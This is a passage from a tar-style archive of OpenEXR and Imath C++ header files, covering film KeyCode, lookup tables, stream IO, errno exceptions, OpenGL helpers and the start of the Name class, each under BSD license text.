Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_KEY_CODE_H #define INCLUDED_IMF_KEY_CODE_H //----------------------------------------------------------------------------- // // class KeyCode // // A KeyCode object uniquely identifies a motion picture film frame. // The following fields specifiy film manufacturer, film type, film // roll and the frame's position within the roll: // // filmMfcCode film manufacturer code // range: 0 - 99 // // filmType film type code // range: 0 - 99 // // prefix prefix to identify film roll // range: 0 - 999999 // // count count, increments once every perfsPerCount // perforations (see below) // range: 0 - 9999 // // perfOffset offset of frame, in perforations from // zero-frame reference mark // range: 0 - 119 // // perfsPerFrame number of perforations per frame // range: 1 - 15 // // typical values: // // 1 for 16mm film // 3, 4, or 8 for 35mm film // 5, 8 or 15 for 65mm film // // perfsPerCount number of perforations per count // range: 20 - 120 // // typical values: // // 20 for 16mm film // 64 for 35mm film // 80 or 120 for 65mm film // // For more information about the interpretation of those fields see // the following standards and recommended practice publications: // // SMPTE 254 Motion-Picture Film (35-mm) - Manufacturer-Printed // Latent Image Identification Information // // SMPTE 268M File Format for Digital Moving-Picture Exchange (DPX) // (section 6.1) // // SMPTE 270 Motion-Picture Film (65-mm) - Manufacturer- Printed // Latent Image Identification Information // // SMPTE 271 Motion-Picture Film (16-mm) - Manufacturer- Printed // Latent Image Identification Information // //----------------------------------------------------------------------------- #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT KeyCode { public: //------------------------------------- // Constructors and assignment operator //------------------------------------- KeyCode (int filmMfcCode = 0, int filmType = 0, int prefix = 0, int count = 0, int perfOffset = 0, int perfsPerFrame = 4, int perfsPerCount = 64); KeyCode (const KeyCode &other); KeyCode & operator = (const KeyCode &other); //---------------------------- // Access to individual fields //---------------------------- int filmMfcCode () const; void setFilmMfcCode (int filmMfcCode); int filmType () const; void setFilmType (int filmType); int prefix () const; void setPrefix (int prefix); int count () const; void setCount (int count); int perfOffset () const; void setPerfOffset (int perfOffset); int perfsPerFrame () const; void setPerfsPerFrame (int perfsPerFrame); int perfsPerCount () const; void setPerfsPerCount (int perfsPerCount); private: int _filmMfcCode; int _filmType; int _prefix; int _count; int _perfOffset; int _perfsPerFrame; int _perfsPerCount; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfLut.h 0000644 00000012172 15246445047 0007413 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_LUT_H #define INCLUDED_IMF_LUT_H //----------------------------------------------------------------------------- // // Lookup tables for efficient application // of half --> half functions to pixel data, // and some commonly applied functions. // //----------------------------------------------------------------------------- #include "ImfRgbaFile.h" #include "ImfFrameBuffer.h" #include "ImathBox.h" #include "halfFunction.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Lookup table for individual half channels. // class IMF_EXPORT HalfLut { public: //------------ // Constructor //------------ template <class Function> HalfLut (Function f); //---------------------------------------------------------------------- // Apply the table to data[0], data[stride] ... data[(nData-1) * stride] //---------------------------------------------------------------------- void apply (half *data, int nData, int stride = 1) const; //--------------------------------------------------------------- // Apply the table to a frame buffer slice (see ImfFrameBuffer.h) //--------------------------------------------------------------- void apply (const Slice &data, const IMATH_NAMESPACE::Box2i &dataWindow) const; private: halfFunction <half> _lut; }; // // Lookup table for combined RGBA data. // class IMF_EXPORT RgbaLut { public: //------------ // Constructor //------------ template <class Function> RgbaLut (Function f, RgbaChannels chn = WRITE_RGB); //---------------------------------------------------------------------- // Apply the table to data[0], data[stride] ... data[(nData-1) * stride] //---------------------------------------------------------------------- void apply (Rgba *data, int nData, int stride = 1) const; //----------------------------------------------------------------------- // Apply the table to a frame buffer (see RgbaOutpuFile.setFrameBuffer()) //----------------------------------------------------------------------- void apply (Rgba *base, int xStride, int yStride, const IMATH_NAMESPACE::Box2i &dataWindow) const; private: halfFunction <half> _lut; RgbaChannels _chn; }; // // 12bit log rounding reduces data to 20 stops with 200 steps per stop. // That makes 4000 numbers. An extra 96 just come along for the ride. // Zero explicitly remains zero. The first non-zero half will map to 1 // in the 0-4095 12log space. A nice power of two number is placed at // the center [2000] and that number is near 0.18. // IMF_EXPORT half round12log (half x); // // Round to n-bit precision (n should be between 0 and 10). // After rounding, the significand's 10-n least significant // bits will be zero. // struct roundNBit { roundNBit (int n): n(n) {} half operator () (half x) {return x.round(n);} int n; }; // // Template definitions // template <class Function> HalfLut::HalfLut (Function f): _lut(f, -HALF_MAX, HALF_MAX, half (0), half::posInf(), half::negInf(), half::qNan()) { // empty } template <class Function> RgbaLut::RgbaLut (Function f, RgbaChannels chn): _lut(f, -HALF_MAX, HALF_MAX, half (0), half::posInf(), half::negInf(), half::qNan()), _chn(chn) { // empty } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfIO.h 0000644 00000016715 15246445047 0007165 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_IO_H #define INCLUDED_IMF_IO_H //----------------------------------------------------------------------------- // // Low-level file input and output for OpenEXR. // //----------------------------------------------------------------------------- #include "ImfInt64.h" #include "ImfNamespace.h" #include "ImfExport.h" #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------------------- // class IStream -- an abstract base class for input streams. //----------------------------------------------------------- class IMF_EXPORT IStream { public: //----------- // Destructor //----------- virtual ~IStream (); //------------------------------------------------- // Does this input stream support memory-mapped IO? // // Memory-mapped streams can avoid an extra copy; // memory-mapped read operations return a pointer // to an internal buffer instead of copying data // into a buffer supplied by the caller. //------------------------------------------------- virtual bool isMemoryMapped () const; //------------------------------------------------------ // Read from the stream: // // read(c,n) reads n bytes from the stream, and stores // them in array c. If the stream contains less than n // bytes, or if an I/O error occurs, read(c,n) throws // an exception. If read(c,n) reads the last byte from // the file it returns false, otherwise it returns true. //------------------------------------------------------ virtual bool read (char c[/*n*/], int n) = 0; //--------------------------------------------------- // Read from a memory-mapped stream: // // readMemoryMapped(n) reads n bytes from the stream // and returns a pointer to the first byte. The // returned pointer remains valid until the stream // is closed. If there are less than n byte left to // read in the stream or if the stream is not memory- // mapped, readMemoryMapped(n) throws an exception. //--------------------------------------------------- virtual char * readMemoryMapped (int n); //-------------------------------------------------------- // Get the current reading position, in bytes from the // beginning of the file. If the next call to read() will // read the first byte in the file, tellg() returns 0. //-------------------------------------------------------- virtual Int64 tellg () = 0; //------------------------------------------- // Set the current reading position. // After calling seekg(i), tellg() returns i. //------------------------------------------- virtual void seekg (Int64 pos) = 0; //------------------------------------------------------ // Clear error conditions after an operation has failed. //------------------------------------------------------ virtual void clear (); //------------------------------------------------------ // Get the name of the file associated with this stream. //------------------------------------------------------ const char * fileName () const; protected: IStream (const char fileName[]); private: IStream (const IStream &); // not implemented IStream & operator = (const IStream &); // not implemented std::string _fileName; }; //----------------------------------------------------------- // class OStream -- an abstract base class for output streams //----------------------------------------------------------- class IMF_EXPORT OStream { public: //----------- // Destructor //----------- virtual ~OStream (); //---------------------------------------------------------- // Write to the stream: // // write(c,n) takes n bytes from array c, and stores them // in the stream. If an I/O error occurs, write(c,n) throws // an exception. //---------------------------------------------------------- virtual void write (const char c[/*n*/], int n) = 0; //--------------------------------------------------------- // Get the current writing position, in bytes from the // beginning of the file. If the next call to write() will // start writing at the beginning of the file, tellp() // returns 0. //--------------------------------------------------------- virtual Int64 tellp () = 0; //------------------------------------------- // Set the current writing position. // After calling seekp(i), tellp() returns i. //------------------------------------------- virtual void seekp (Int64 pos) = 0; //------------------------------------------------------ // Get the name of the file associated with this stream. //------------------------------------------------------ const char * fileName () const; protected: OStream (const char fileName[]); private: OStream (const OStream &); // not implemented OStream & operator = (const OStream &); // not implemented std::string _fileName; }; //----------------------- // Helper classes for Xdr //----------------------- struct StreamIO { static void writeChars (OStream &os, const char c[/*n*/], int n) { os.write (c, n); } static bool readChars (IStream &is, char c[/*n*/], int n) { return is.read (c, n); } }; struct CharPtrIO { static void writeChars (char *&op, const char c[/*n*/], int n) { while (n--) *op++ = *c++; } static bool readChars (const char *&ip, char c[/*n*/], int n) { while (n--) *c++ = *ip++; return true; } }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/IexErrnoExc.h 0000644 00000016571 15246445047 0010415 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXERRNOEXC_H #define INCLUDED_IEXERRNOEXC_H //---------------------------------------------------------------- // // Exceptions which correspond to "errno" error codes. // //---------------------------------------------------------------- #include "IexBaseExc.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER DEFINE_EXC (EpermExc, ErrnoExc) DEFINE_EXC (EnoentExc, ErrnoExc) DEFINE_EXC (EsrchExc, ErrnoExc) DEFINE_EXC (EintrExc, ErrnoExc) DEFINE_EXC (EioExc, ErrnoExc) DEFINE_EXC (EnxioExc, ErrnoExc) DEFINE_EXC (E2bigExc, ErrnoExc) DEFINE_EXC (EnoexecExc, ErrnoExc) DEFINE_EXC (EbadfExc, ErrnoExc) DEFINE_EXC (EchildExc, ErrnoExc) DEFINE_EXC (EagainExc, ErrnoExc) DEFINE_EXC (EnomemExc, ErrnoExc) DEFINE_EXC (EaccesExc, ErrnoExc) DEFINE_EXC (EfaultExc, ErrnoExc) DEFINE_EXC (EnotblkExc, ErrnoExc) DEFINE_EXC (EbusyExc, ErrnoExc) DEFINE_EXC (EexistExc, ErrnoExc) DEFINE_EXC (ExdevExc, ErrnoExc) DEFINE_EXC (EnodevExc, ErrnoExc) DEFINE_EXC (EnotdirExc, ErrnoExc) DEFINE_EXC (EisdirExc, ErrnoExc) DEFINE_EXC (EinvalExc, ErrnoExc) DEFINE_EXC (EnfileExc, ErrnoExc) DEFINE_EXC (EmfileExc, ErrnoExc) DEFINE_EXC (EnottyExc, ErrnoExc) DEFINE_EXC (EtxtbsyExc, ErrnoExc) DEFINE_EXC (EfbigExc, ErrnoExc) DEFINE_EXC (EnospcExc, ErrnoExc) DEFINE_EXC (EspipeExc, ErrnoExc) DEFINE_EXC (ErofsExc, ErrnoExc) DEFINE_EXC (EmlinkExc, ErrnoExc) DEFINE_EXC (EpipeExc, ErrnoExc) DEFINE_EXC (EdomExc, ErrnoExc) DEFINE_EXC (ErangeExc, ErrnoExc) DEFINE_EXC (EnomsgExc, ErrnoExc) DEFINE_EXC (EidrmExc, ErrnoExc) DEFINE_EXC (EchrngExc, ErrnoExc) DEFINE_EXC (El2nsyncExc, ErrnoExc) DEFINE_EXC (El3hltExc, ErrnoExc) DEFINE_EXC (El3rstExc, ErrnoExc) DEFINE_EXC (ElnrngExc, ErrnoExc) DEFINE_EXC (EunatchExc, ErrnoExc) DEFINE_EXC (EnocsiExc, ErrnoExc) DEFINE_EXC (El2hltExc, ErrnoExc) DEFINE_EXC (EdeadlkExc, ErrnoExc) DEFINE_EXC (EnolckExc, ErrnoExc) DEFINE_EXC (EbadeExc, ErrnoExc) DEFINE_EXC (EbadrExc, ErrnoExc) DEFINE_EXC (ExfullExc, ErrnoExc) DEFINE_EXC (EnoanoExc, ErrnoExc) DEFINE_EXC (EbadrqcExc, ErrnoExc) DEFINE_EXC (EbadsltExc, ErrnoExc) DEFINE_EXC (EdeadlockExc, ErrnoExc) DEFINE_EXC (EbfontExc, ErrnoExc) DEFINE_EXC (EnostrExc, ErrnoExc) DEFINE_EXC (EnodataExc, ErrnoExc) DEFINE_EXC (EtimeExc, ErrnoExc) DEFINE_EXC (EnosrExc, ErrnoExc) DEFINE_EXC (EnonetExc, ErrnoExc) DEFINE_EXC (EnopkgExc, ErrnoExc) DEFINE_EXC (EremoteExc, ErrnoExc) DEFINE_EXC (EnolinkExc, ErrnoExc) DEFINE_EXC (EadvExc, ErrnoExc) DEFINE_EXC (EsrmntExc, ErrnoExc) DEFINE_EXC (EcommExc, ErrnoExc) DEFINE_EXC (EprotoExc, ErrnoExc) DEFINE_EXC (EmultihopExc, ErrnoExc) DEFINE_EXC (EbadmsgExc, ErrnoExc) DEFINE_EXC (EnametoolongExc, ErrnoExc) DEFINE_EXC (EoverflowExc, ErrnoExc) DEFINE_EXC (EnotuniqExc, ErrnoExc) DEFINE_EXC (EbadfdExc, ErrnoExc) DEFINE_EXC (EremchgExc, ErrnoExc) DEFINE_EXC (ElibaccExc, ErrnoExc) DEFINE_EXC (ElibbadExc, ErrnoExc) DEFINE_EXC (ElibscnExc, ErrnoExc) DEFINE_EXC (ElibmaxExc, ErrnoExc) DEFINE_EXC (ElibexecExc, ErrnoExc) DEFINE_EXC (EilseqExc, ErrnoExc) DEFINE_EXC (EnosysExc, ErrnoExc) DEFINE_EXC (EloopExc, ErrnoExc) DEFINE_EXC (ErestartExc, ErrnoExc) DEFINE_EXC (EstrpipeExc, ErrnoExc) DEFINE_EXC (EnotemptyExc, ErrnoExc) DEFINE_EXC (EusersExc, ErrnoExc) DEFINE_EXC (EnotsockExc, ErrnoExc) DEFINE_EXC (EdestaddrreqExc, ErrnoExc) DEFINE_EXC (EmsgsizeExc, ErrnoExc) DEFINE_EXC (EprototypeExc, ErrnoExc) DEFINE_EXC (EnoprotooptExc, ErrnoExc) DEFINE_EXC (EprotonosupportExc, ErrnoExc) DEFINE_EXC (EsocktnosupportExc, ErrnoExc) DEFINE_EXC (EopnotsuppExc, ErrnoExc) DEFINE_EXC (EpfnosupportExc, ErrnoExc) DEFINE_EXC (EafnosupportExc, ErrnoExc) DEFINE_EXC (EaddrinuseExc, ErrnoExc) DEFINE_EXC (EaddrnotavailExc, ErrnoExc) DEFINE_EXC (EnetdownExc, ErrnoExc) DEFINE_EXC (EnetunreachExc, ErrnoExc) DEFINE_EXC (EnetresetExc, ErrnoExc) DEFINE_EXC (EconnabortedExc, ErrnoExc) DEFINE_EXC (EconnresetExc, ErrnoExc) DEFINE_EXC (EnobufsExc, ErrnoExc) DEFINE_EXC (EisconnExc, ErrnoExc) DEFINE_EXC (EnotconnExc, ErrnoExc) DEFINE_EXC (EshutdownExc, ErrnoExc) DEFINE_EXC (EtoomanyrefsExc, ErrnoExc) DEFINE_EXC (EtimedoutExc, ErrnoExc) DEFINE_EXC (EconnrefusedExc, ErrnoExc) DEFINE_EXC (EhostdownExc, ErrnoExc) DEFINE_EXC (EhostunreachExc, ErrnoExc) DEFINE_EXC (EalreadyExc, ErrnoExc) DEFINE_EXC (EinprogressExc, ErrnoExc) DEFINE_EXC (EstaleExc, ErrnoExc) DEFINE_EXC (EioresidExc, ErrnoExc) DEFINE_EXC (EucleanExc, ErrnoExc) DEFINE_EXC (EnotnamExc, ErrnoExc) DEFINE_EXC (EnavailExc, ErrnoExc) DEFINE_EXC (EisnamExc, ErrnoExc) DEFINE_EXC (EremoteioExc, ErrnoExc) DEFINE_EXC (EinitExc, ErrnoExc) DEFINE_EXC (EremdevExc, ErrnoExc) DEFINE_EXC (EcanceledExc, ErrnoExc) DEFINE_EXC (EnolimfileExc, ErrnoExc) DEFINE_EXC (EproclimExc, ErrnoExc) DEFINE_EXC (EdisjointExc, ErrnoExc) DEFINE_EXC (EnologinExc, ErrnoExc) DEFINE_EXC (EloginlimExc, ErrnoExc) DEFINE_EXC (EgrouploopExc, ErrnoExc) DEFINE_EXC (EnoattachExc, ErrnoExc) DEFINE_EXC (EnotsupExc, ErrnoExc) DEFINE_EXC (EnoattrExc, ErrnoExc) DEFINE_EXC (EdircorruptedExc, ErrnoExc) DEFINE_EXC (EdquotExc, ErrnoExc) DEFINE_EXC (EnfsremoteExc, ErrnoExc) DEFINE_EXC (EcontrollerExc, ErrnoExc) DEFINE_EXC (EnotcontrollerExc, ErrnoExc) DEFINE_EXC (EenqueuedExc, ErrnoExc) DEFINE_EXC (EnotenqueuedExc, ErrnoExc) DEFINE_EXC (EjoinedExc, ErrnoExc) DEFINE_EXC (EnotjoinedExc, ErrnoExc) DEFINE_EXC (EnoprocExc, ErrnoExc) DEFINE_EXC (EmustrunExc, ErrnoExc) DEFINE_EXC (EnotstoppedExc, ErrnoExc) DEFINE_EXC (EclockcpuExc, ErrnoExc) DEFINE_EXC (EinvalstateExc, ErrnoExc) DEFINE_EXC (EnoexistExc, ErrnoExc) DEFINE_EXC (EendofminorExc, ErrnoExc) DEFINE_EXC (EbufsizeExc, ErrnoExc) DEFINE_EXC (EemptyExc, ErrnoExc) DEFINE_EXC (EnointrgroupExc, ErrnoExc) DEFINE_EXC (EinvalmodeExc, ErrnoExc) DEFINE_EXC (EcantextentExc, ErrnoExc) DEFINE_EXC (EinvaltimeExc, ErrnoExc) DEFINE_EXC (EdestroyedExc, ErrnoExc) IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathGL.h 0000644 00000011031 15246445047 0007471 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHGL_H #define INCLUDED_IMATHGL_H #include <GL/gl.h> #include "ImathVec.h" #include "ImathMatrix.h" #include "IexMathExc.h" #include "ImathFun.h" #include "ImathNamespace.h" inline void glVertex ( const IMATH_INTERNAL_NAMESPACE::V3f &v ) { glVertex3f(v.x,v.y,v.z); } inline void glVertex ( const IMATH_INTERNAL_NAMESPACE::V2f &v ) { glVertex2f(v.x,v.y); } inline void glNormal ( const IMATH_INTERNAL_NAMESPACE::V3f &n ) { glNormal3f(n.x,n.y,n.z); } inline void glColor ( const IMATH_INTERNAL_NAMESPACE::V3f &c ) { glColor3f(c.x,c.y,c.z); } inline void glTranslate ( const IMATH_INTERNAL_NAMESPACE::V3f &t ) { glTranslatef(t.x,t.y,t.z); } inline void glTexCoord( const IMATH_INTERNAL_NAMESPACE::V2f &t ) { glTexCoord2f(t.x,t.y); } inline void glDisableTexture() { glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, 0); glDisable(GL_TEXTURE_2D); glActiveTexture(GL_TEXTURE0); } namespace { const float GL_FLOAT_MAX = 1.8e+19; // sqrt (FLT_MAX) inline bool badFloat (float f) { return !IMATH_INTERNAL_NAMESPACE::finitef (f) || f < - GL_FLOAT_MAX || f > GL_FLOAT_MAX; } } // namespace inline void throwBadMatrix (const IMATH_INTERNAL_NAMESPACE::M44f& m) { if (badFloat (m[0][0]) || badFloat (m[0][1]) || badFloat (m[0][2]) || badFloat (m[0][3]) || badFloat (m[1][0]) || badFloat (m[1][1]) || badFloat (m[1][2]) || badFloat (m[1][3]) || badFloat (m[2][0]) || badFloat (m[2][1]) || badFloat (m[2][2]) || badFloat (m[2][3]) || badFloat (m[3][0]) || badFloat (m[3][1]) || badFloat (m[3][2]) || badFloat (m[3][3])) throw IEX_NAMESPACE::OverflowExc ("GL matrix overflow"); } inline void glMultMatrix( const IMATH_INTERNAL_NAMESPACE::M44f& m ) { throwBadMatrix (m); glMultMatrixf( (GLfloat*)m[0] ); } inline void glMultMatrix( const IMATH_INTERNAL_NAMESPACE::M44f* m ) { throwBadMatrix (*m); glMultMatrixf( (GLfloat*)(*m)[0] ); } inline void glLoadMatrix( const IMATH_INTERNAL_NAMESPACE::M44f& m ) { throwBadMatrix (m); glLoadMatrixf( (GLfloat*)m[0] ); } inline void glLoadMatrix( const IMATH_INTERNAL_NAMESPACE::M44f* m ) { throwBadMatrix (*m); glLoadMatrixf( (GLfloat*)(*m)[0] ); } IMATH_INTERNAL_NAMESPACE_HEADER_ENTER // // Class objects that push/pop the GL state. These objects assist with // proper cleanup of the state when exceptions are thrown. // class GLPushMatrix { public: GLPushMatrix () { glPushMatrix(); } ~GLPushMatrix() { glPopMatrix(); } }; class GLPushAttrib { public: GLPushAttrib (GLbitfield mask) { glPushAttrib (mask); } ~GLPushAttrib() { glPopAttrib(); } }; class GLBegin { public: GLBegin (GLenum mode) { glBegin (mode); } ~GLBegin() { glEnd(); } }; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfName.h 0000644 00000007031 15246445047 0007525 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_NAME_H #define INCLUDED_IMF_NAME_H //----------------------------------------------------------------------------- // // class ImfName -- a zero-terminated string // with a fixed, small maximum length // //----------------------------------------------------------------------------- #include <string.h> #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class Name { public: //------------- // Constructors //------------- Name (); Name (const char text[]); //-------------------- // Assignment operator 